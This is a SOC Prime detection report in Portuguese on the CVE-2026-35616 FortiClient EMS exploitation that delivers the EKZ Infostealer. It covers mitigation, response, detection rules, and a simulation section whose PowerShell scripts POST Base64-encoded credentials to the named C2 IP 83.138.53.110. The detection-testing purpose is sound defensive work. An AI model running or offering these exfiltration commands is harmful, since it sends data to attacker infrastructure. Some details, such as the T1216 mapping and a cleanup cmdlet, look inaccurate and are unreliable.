SOC Prime Bias: Crítico

29 May 2026 07:30 UTC

FortiClient EMS Explorado via CVE-2026-35616 para Distribuir EKZ Infostealer Disfarçado como um Patch da Fortinet

Author Photo
SOC Prime Team linkedin icon Seguir
FortiClient EMS Explorado via CVE-2026-35616 para Distribuir EKZ Infostealer Disfarçado como um Patch da Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A Arctic Wolf identificou uma campanha que explorou CVE-2026-35616 no FortiClient EMS para distribuir um script PowerShell malicioso para endpoints gerenciados. Esse script recuperou e lançou uma carga útil de roubo de credenciais conhecida como EKZ Infostealer enquanto se fazia passar por um patch legítimo do Fortinet. O malware coletou senhas de navegadores, cookies e informações de preenchimento automático, depois exfiltrou os dados roubados via HTTP. Ao abusar dos canais de configuração confiáveis do EMS, os atacantes conseguiram executar a carga útil rapidamente em vários dispositivos gerenciados.

Investigação

Pesquisadores recriaram o exploit enviando requisições HTTP não autenticadas especialmente formatadas para as APIs do FortiClient EMS, resultando em mudanças de configuração que inseriram scripts maliciosos. Os traços de execução mostraram fortitray.exe or ipsec.exe gerando cmd.exe, que por sua vez lançou um comando PowerShell codificado em Base64 que baixou p.exe de um endereço IP malicioso. A carga útil escreveu um arquivo log.txt em ProgramData, enviou os dados capturados de volta para o mesmo servidor e então deletou-se.

Mitigação

As organizações devem atualizar o FortiClient EMS para uma versão que corrija CVE-2026-35616 e restringir o acesso à API a endereços IP de origem aprovados. Os defensores também devem revisar os logs do EMS para erros relacionados ao certificado e mudanças inesperadas nos Perfis de Acesso Remoto. O tráfego HTTP de saída dos endpoints para endereços IP desconhecidos deve ser bloqueado, e a execução de scripts nos fluxos de trabalho do perfil de VPN deve ser limitada por meio de controles de menor privilégio.

Resposta

Se esta atividade for detectada, isole imediatamente os hosts afetados, revogue quaisquer contas EMS não autorizadas que possam ter sido criadas e remova arquivos de script maliciosos do diretório de logs do FortiClient. Os investigadores devem preservar o log.txt artefato, calcular hashes para os binários maliciosos e buscar por indicadores correspondentes em todo o ambiente. Credenciais de navegador expostas devem ser redefinidas, e as equipes devem monitorar atividades de autenticação suspeitas que possam seguir ao roubo.

Fluxo de Ataque

Detecções

Nome Curto de Arquivo (via cmdline)

Equipe SOC Prime
28 de Maio de 2026

Uso Suspeito de CURL (via cmdline)

Equipe SOC Prime
28 de Maio de 2026

Chamando Métodos .NET Suspeitos através do Powershell (via powershell)

Equipe SOC Prime
28 de Maio de 2026

Possível Atividade de Transferência de Bits (via powershell)

Equipe SOC Prime
28 de Maio de 2026

IOCs (HashSha256) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet

Regras de AI do SOC Prime
28 de Maio de 2026

IOCs (HashSha1) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet

Regras de AI do SOC Prime
28 de Maio de 2026

IOCs (HashMd5) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet

Regras de AI do SOC Prime
28 de Maio de 2026

IOCs (SourceIP) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet

Regras de AI do SOC Prime
28 de Maio de 2026

IOCs (DestinationIP) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet

Regras de AI do SOC Prime
28 de Maio de 2026

Exfiltração de Credenciais pelo EKZ Infostealer via HTTP POST [Conexão de Rede do Windows]

Regras de AI do SOC Prime
28 de Maio de 2026

FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer [Criação de Processo no Windows]

Regras de AI do SOC Prime
28 de Maio de 2026

Execução de PowerShell via FortiClient para Entregar EKZ Infostealer [Powershell no Windows]

Regras de AI do SOC Prime
28 de Maio de 2026

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter sido aprovado.

Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos imprecisos.

  • Narrativa & Comandos de Ataque:
    O atacante já colheu credenciais do registro do Windows (família T1216) usando o EKZ Infostealer. Para exfiltrar o blob coletado, o malware lança um one-liner do PowerShell que faz um POST das credenciais codificadas em Base64 para o servidor de comando e controle em 83.138.53.110. O uso de PowerShell (Invoke-WebRequest) é uma técnica clássica de living-off-the-land que evade detecções baseadas em binários enquanto ainda produz telemetria de rede observável pelo firewall.

    powershell
    # Payload de credencial simulado (Base64 de "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Script de Teste de Regressão: Este script PowerShell autônomo reproduz a etapa de exfiltração e pode ser executado novamente para futuras regressões.

    powershell
    <#
    .SYNOPSIS
        Simulação de exfiltração de credenciais pelo EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Gera um blob de credencial falso, o codifica e faz POST para o
        IP malicioso conhecido usado na regra de detecção.
    
    .NOTES
        Requer HTTP de saída permitido para 83.138.53.110 na porta 80.
    #>
    
    # ---- Preparação ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Execução ----
    try {
        Write-Host "[*] Enviando blob de credencial para $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] Status HTTP:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST falhou: $_"
    }
    
    # ---- Fim do script ----
    
  • Comandos de Limpeza: Nenhum artefato persistente é criado no disco, mas para ser completo, fechamos qualquer sessão de solicitação web pendente e limpamos a variável PowerShell.

    powershell
    # Limpar variáveis e fechar quaisquer sessões web abertas
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Limpeza completa."